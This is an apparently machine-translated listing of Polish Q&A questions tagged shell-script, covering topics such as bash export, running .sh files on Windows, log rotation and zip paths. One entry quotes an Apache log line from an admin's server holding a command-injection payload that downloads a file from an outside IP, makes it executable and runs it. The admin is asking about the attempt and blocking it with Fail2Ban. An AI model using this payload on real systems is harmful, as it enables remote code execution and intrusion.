Pytania otagowane jako shell-script

Skrypt powłoki to skrypt napisany dla powłoki lub interpretera wiersza poleceń systemu operacyjnego.




3
Co robi eksport w BASH? [duplikować]
Możliwa duplikat: Różnica między „a = b” i „export a = b” w bash Trudno to przyznać, ale nigdy tak naprawdę nie zrozumiałem, co dokładnie exportrobi zmienna środowiskowa. Wiem, że jeśli nie wyeksportuję zmiennej, czasami nie widzę jej w procesach potomnych, ale czasami wydaje się, że mogę. Co tak naprawdę …

15
Jak wykonać plik .sh w systemie Windows?
Kiedy próbuję wykonać plik (name.sh) w wierszu polecenia za pomocą polecenia ./name.sh, pojawia się błąd: „.” nie jest rozpoznawany jako polecenie wewnętrzne lub zewnętrzne, plik operacyjny ani plik wsadowy pomóż mi wykonać plik .sh


9
Log rotacji standardowego?
Mam program Linux, który może zapisywać informacje na stdout i stderr. Mam skrypt powłoki, który przekierowuje dane wyjściowe do pliku w /var/log. (Przez >>i 2>&1.) Czy istnieje sposób na obrócenie tego pliku dziennika? (maksymalny rozmiar, a następnie przełącz się na inny plik, zachowaj tylko ograniczoną liczbę plików) Widziałem kilka odpowiedzi, …

2
Unikaj niechcianej ścieżki w pliku Zip
Tworzę skrypt powłoki, aby spakować niektóre pliki. Zamykam taki katalog: zip -r /Users/me/development/something/out.zip /Users/me/development/something/folder/ Problem polega na tym, że wynikowe archiwum out.zip zawiera całą ścieżkę do pliku. Oznacza to, że po rozpakowaniu będzie zawierała całą ścieżkę „/ Users / me / development / anotherthing /”. Czy można uniknąć tych głębokich …
46 macos  bash  zip  path  shell-script 


2
Co robi ten skrypt bash? [Próba włamania]
Zauważyłem ostatnio na moich serwerach dzienniki apache, następujące dziwne linie: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" Zrobiłem więc niestandardowy filtr Fail2Ban i zacząłem blokować adresy IP żądające tych adresów URL /login.cgi. Byłem jednak ciekawy, co próbują zrobić, więc wyciągnąłem skrypt, który próbują wykonać, i …

2
Co jest nie tak z „echo $ (rzeczy)” lub „echo„ rzeczy ”?
Użyłem jednego z poniższych echo $(stuff) echo `stuff` (gdzie stuffjest np pwdlub dateczy coś bardziej skomplikowane). Potem powiedziano mi, że ta składnia jest nieprawidłowa, zła praktyka, nie elegancki, nadmierny, zbędny, zbyt skomplikowany, program kultu kultowego, noobish, naiwny itp. Ale polecenie nie działa, więc co dokładnie jest nie tak?
31 shell-script  sh  echo 

5
Jak wyodrębnić pełną listę typów rozszerzeń w katalogu?
W obrębie katalogu i rekurencyjnie w jego podkatalogach, co oznacza, że ​​każdy katalog w katalogu jest przetwarzany, jak skompilować pełną listę unikalnych rozszerzeń w katalogu? System operacyjny to Windows XP ze wszystkimi aktualnymi aktualizacjami, ale mogę uruchomić skrypt, jeśli mogę powiedzieć, co robi, ale wolałbym nie instalować dot-net, ponieważ naprawdę …

2
Skrypt powłoki echa nowej linii do pliku
Chcę powtórzyć nową linię do pliku pomiędzy zmiennymi w skrypcie powłoki. Oto mój kod: var1 = „Witaj” var2 = „Świat!” logwrite = "$ var1 [Tutaj chcę wstawić nowy wiersz] $ var2 echo „$ logwrite” >> /Users/username/Desktop/user.txt W tej chwili po uruchomieniu skryptu plik user.txt pokazuje to: Witaj świecie! Chcę, aby …


3
Jak zaktualizować bash na Mac OS X Yosemite
Po prostu próbuję nauczyć się trochę skryptów bash. Moja stara wersja bash: Bash version 3.2.53(1)-release... Zaktualizowałem moją wersję bash na Mac OS X Yosemite z Homebrew: brew update brew install bash Następnie we właściwościach terminala zmieniłem standardową ścieżkę powłoki z /bin/bashna /usr/local/bin/bash(rozumiem, że tutaj homebrew instaluje zaktualizowaną wersję bash). Następnie …

Korzystając z naszej strony potwierdzasz, że przeczytałeś(-aś) i rozumiesz nasze zasady używania plików cookie i zasady ochrony prywatności.
Licensed under cc by-sa 3.0 with attribution required.